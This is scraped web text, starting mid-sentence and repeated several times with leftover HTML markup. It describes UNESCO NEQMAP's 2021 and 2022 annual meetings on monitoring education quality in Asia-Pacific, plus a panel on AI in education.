strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

